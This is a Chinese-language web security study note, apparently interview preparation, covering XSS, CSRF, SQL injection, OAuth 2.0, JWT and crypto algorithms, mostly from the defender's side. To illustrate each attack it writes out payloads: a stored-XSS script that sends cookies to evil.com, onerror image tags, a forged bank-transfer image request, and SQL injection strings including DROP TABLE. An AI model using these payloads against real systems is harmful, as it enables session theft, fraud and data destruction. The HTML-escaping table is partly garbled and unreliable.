网络安全核心
XSS(跨站脚本攻击)
Section titled “XSS(跨站脚本攻击)”XSS(Cross-Site Scripting)是攻击者向网页注入恶意脚本,使其在受害者浏览器中执行的攻击方式。
1. 存储型 XSS(持久型)
攻击流程: 攻击者 → 提交含恶意脚本的内容(如评论)→ 存入数据库 受害者 → 访问包含该评论的页面 → 浏览器执行恶意脚本
示例: 评论内容:<script>fetch('https://evil.com/steal?c=' + document.cookie)</script> 服务端未过滤,直接存入数据库 所有查看该评论的用户 Cookie 被窃取
危害最大:影响所有访问该页面的用户2. 反射型 XSS(非持久型)
攻击流程: 攻击者构造恶意 URL:https://example.com/search?q=<script>...</script> 诱导受害者点击 服务端将 q 参数值直接渲染到 HTML → 浏览器执行脚本
特点:脚本在 URL 中,不存入数据库,需要诱导用户点击3. DOM 型 XSS
完全在前端发生,服务端不参与: 恶意 URL:https://example.com/#<img src=x onerror=alert(1)>
前端 JS 代码: document.getElementById('output').innerHTML = location.hash.substring(1) // 直接将 hash 插入 DOM,触发 onerror 事件
特点:不经过服务端,传统 WAF 难以检测1. 输出转义(最重要) 将特殊字符转为 HTML 实体: < → < > → > & → & " → " ' → '
2. CSP(Content Security Policy) 通过 HTTP 头限制脚本来源: Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx' 即使注入了脚本,浏览器也拒绝执行
3. HttpOnly Cookie Set-Cookie: sessionId=xxx; HttpOnly; Secure JS 无法通过 document.cookie 访问,窃取 Cookie 的 XSS 失效
4. 输入过滤(辅助,不能单独依赖) 过滤 <script>、on* 事件属性等危险标签 问题:过滤规则容易被绕过(大小写、编码等),不应作为主要防御
5. 使用模板引擎的自动转义 React、Vue 等框架默认对插值进行转义 dangerouslySetInnerHTML / v-html 需格外小心CSRF(跨站请求伪造)
Section titled “CSRF(跨站请求伪造)”CSRF(Cross-Site Request Forgery)是攻击者诱导已登录用户向目标网站发送非预期请求。
攻击流程: 1. 用户登录 bank.com,浏览器保存了 Cookie 2. 用户访问了恶意网站 evil.com 3. evil.com 的页面中包含: <img src="https://bank.com/transfer?to=attacker&amount=10000"> 4. 浏览器自动携带 bank.com 的 Cookie 发送请求 5. bank.com 验证 Cookie 有效,执行转账
CSRF vs XSS: XSS:注入代码,在目标网站的上下文中执行 CSRF:利用用户的登录状态,伪造用户发起请求 两者可以组合使用(XSS 可绕过 CSRF 防御)1. CSRF Token(最常用) 服务端生成随机 Token,嵌入表单或存入 Session 每次请求必须携带该 Token,服务端验证 恶意网站无法获取该 Token(同源策略限制)
<form> <input type="hidden" name="_csrf" value="随机Token"> </form>
2. SameSite Cookie Set-Cookie: sessionId=xxx; SameSite=Strict • Strict:Cookie 只在同站请求中携带(跨站完全不带 Cookie) • Lax(现代浏览器默认):跨站 GET 请求携带,POST/PUT/DELETE 不携带 • None:所有跨站请求都携带(需同时设置 Secure)
3. 检查 Referer / Origin 头 验证请求来源是否为允许的域名 局限:Referer 可被用户隐私设置屏蔽;可被某些场景伪造
4. 双重 Cookie 验证 将 Token 同时放在 Cookie 和请求参数中 服务端验证两者是否一致(利用跨站无法读取 Cookie 的特性)SQL 注入
Section titled “SQL 注入”SQL 注入是攻击者将恶意 SQL 片段注入查询语句,操控数据库的攻击方式。
漏洞示例: String query = "SELECT * FROM users WHERE name='" + input + "'";
正常输入:alice → SELECT * FROM users WHERE name='alice'
恶意输入:' OR '1'='1 → SELECT * FROM users WHERE name='' OR '1'='1' → 返回所有用户!
恶意输入:'; DROP TABLE users; -- → SELECT * FROM users WHERE name=''; DROP TABLE users; --' → 删除表!(若数据库用户有权限)1. 预编译语句/参数化查询(最根本的解决方案) PreparedStatement stmt = conn.prepareStatement( "SELECT * FROM users WHERE name = ?"); stmt.setString(1, userInput); // 参数和 SQL 语句分离,不会被当作 SQL 解析
2. ORM 框架(MyBatis/Hibernate) MyBatis 的 #{} 使用预编译,${} 是字符串替换(危险!) // 安全: SELECT * FROM users WHERE name = #{name} // 危险: SELECT * FROM users WHERE name = '${name}'
3. 最小权限原则 应用使用的数据库用户只有必要的 SELECT/INSERT/UPDATE 权限 无 DROP/TRUNCATE/CREATE 权限,即使注入成功也难以造成毁灭性破坏
4. 输入校验(辅助) 对特殊字符('、"、;、--、#)进行转义或拒绝 不应作为主要防御,规则容易被绕过(编码、宽字节等)
5. WAF(Web 应用防火墙) 检测和拦截常见 SQL 注入特征,作为纵深防御层OAuth 2.0 与 JWT
Section titled “OAuth 2.0 与 JWT”OAuth 2.0
Section titled “OAuth 2.0”OAuth 2.0 是授权框架,解决”第三方应用如何代表用户访问受保护资源”的问题,而不是身份认证。
授权码流程(Authorization Code Flow,最安全):
用户 第三方应用 授权服务器 资源服务器 │ │ │ │ │── 点击"用 GitHub 登录"→│ │ │ │ │── 重定向到授权页面 ─────►│ │ │ │ ?client_id=xxx │ │ │ │ &redirect_uri=xxx │ │ │ │ &scope=read:user │ │ │◄──────────────────────── 授权页面 ────────────│ │ │── 用户同意授权 ───────────────────────────────►│ │ │ │◄── 重定向回 redirect_uri │ │ │ │ ?code=authorization_code│ │ │ │── code + client_secret ─►│ │ │ │◄─── access_token ────────│ │ │ │── access_token ──────────────────────────────►│ │ │◄─── 用户数据 ────────────────────────────────│为什么要 Authorization Code,不直接返回 Token? code 通过前端浏览器 URL 传递(可能被记录在 Referer、历史记录中),Token 通过 code + client_secret(后端持有,不暴露)换取,保证了 Token 不经过不安全的前端通道。
JWT(JSON Web Token)
Section titled “JWT(JSON Web Token)”JWT 是一种紧凑的自包含令牌,无需查询数据库即可验证用户身份。
JWT 结构: Header.Payload.Signature
Header(Base64URL): {"alg": "HS256", "typ": "JWT"}
Payload(Base64URL,不加密,任何人可读): {"sub": "user123", "iat": 1700000000, "exp": 1700003600, "role": "admin"}
Signature: HMACSHA256(base64(Header) + "." + base64(Payload), secret) 或 RSA/ECDSA 签名(非对称,可公开验证)
验证流程: 1. 解析 Header,得到算法 2. 用相同的 secret 重新计算签名 3. 与 Token 中的 Signature 比较 4. 验证 exp(过期时间)、iss(签发者)等 ClaimJWT 的安全注意事项
Section titled “JWT 的安全注意事项”1. alg=none 攻击 某些库接受不签名的 JWT(alg=none) 防御:服务端强制指定允许的算法,拒绝 alg=none
2. 密钥强度 HS256 的 secret 要足够随机(≥256bit),否则易被暴力破解
3. 无法主动吊销 JWT 是无状态的,在过期前无法使服务端侧让其失效 方案:短过期时间(5~15分钟)+ refresh token;或维护黑名单(引入状态)
4. 敏感信息不要放 Payload Payload 只是 Base64 编码,不是加密!任何人可以解码 不要在 Payload 中存放密码、手机号等敏感信息
5. refresh token 要严格保护 比 access token 生命周期长,一旦泄露危害更大 应存储在 HttpOnly Cookie,而非 LocalStorage常见加密算法
Section titled “常见加密算法”对称加密(加解密用同一密钥): AES-256-GCM → 推荐,提供认证加密(防篡改) AES-128-CBC → 较旧,需额外处理 HMAC ChaCha20-Poly1305 → 移动端推荐(软件实现效率高)
非对称加密(公钥加密,私钥解密): RSA-2048+ → 目前安全,但性能较差 ECDSA / ECDH → 基于椭圆曲线,相同安全级别密钥更短、速度更快 Ed25519 → 现代 SSH 密钥推荐,安全且快
哈希算法: SHA-256/SHA-3 → 通用哈希,验证数据完整性 bcrypt/Argon2 → 密码存储专用,带盐+故意慢(防暴力破解) MD5/SHA-1 → 已不安全,不应用于安全场景
密钥协商: ECDHE → TLS 中的密钥协商,提供前向保密 X25519 → 现代 TLS 1.3 推荐的 DH 曲线Q:XSS 和 CSRF 的区别?
XSS 是注入攻击,攻击者将恶意脚本注入到目标网站,在受害者浏览器的目标网站上下文中执行,可以窃取 Cookie、操控 DOM。CSRF 是请求伪造,利用用户已有的登录状态(Cookie),诱导用户发送非预期请求,攻击者不需要注入代码,只需要让浏览器自动携带 Cookie。XSS 是目标网站的问题,CSRF 是用户身份验证方式(Cookie)被滥用的问题。
Q:如何防御 SQL 注入?
最根本的方式是使用预编译语句(PreparedStatement),将 SQL 语句和参数分离,参数不会被当作 SQL 语法解析。使用 ORM 框架时注意 MyBatis 的 ${} 是字符串替换(不安全),应使用 #{}。辅助措施包括最小权限原则、输入校验和 WAF。
Q:JWT 有哪些安全风险?
- alg=none 漏洞(服务端必须强制指定算法);2. Payload 不加密,不能存敏感信息;3. 无法主动吊销(需要配合短过期时间+refresh token 或黑名单机制);4. 密钥泄露导致任意伪造(需保护 secret);5. refresh token 需存在 HttpOnly Cookie 中,防止 XSS 窃取。
Q:OAuth2 授权码模式为什么比隐式模式安全?
隐式模式(Implicit)直接在 URL Fragment 中返回 access_token,可能被泄露在浏览器历史、Referer 头中。授权码模式先返回 code,再由后端用 code + client_secret 换取 token,token 的传递全程在后端进行(不经过浏览器),client_secret 也不暴露给前端。OAuth 2.1 已移除隐式模式。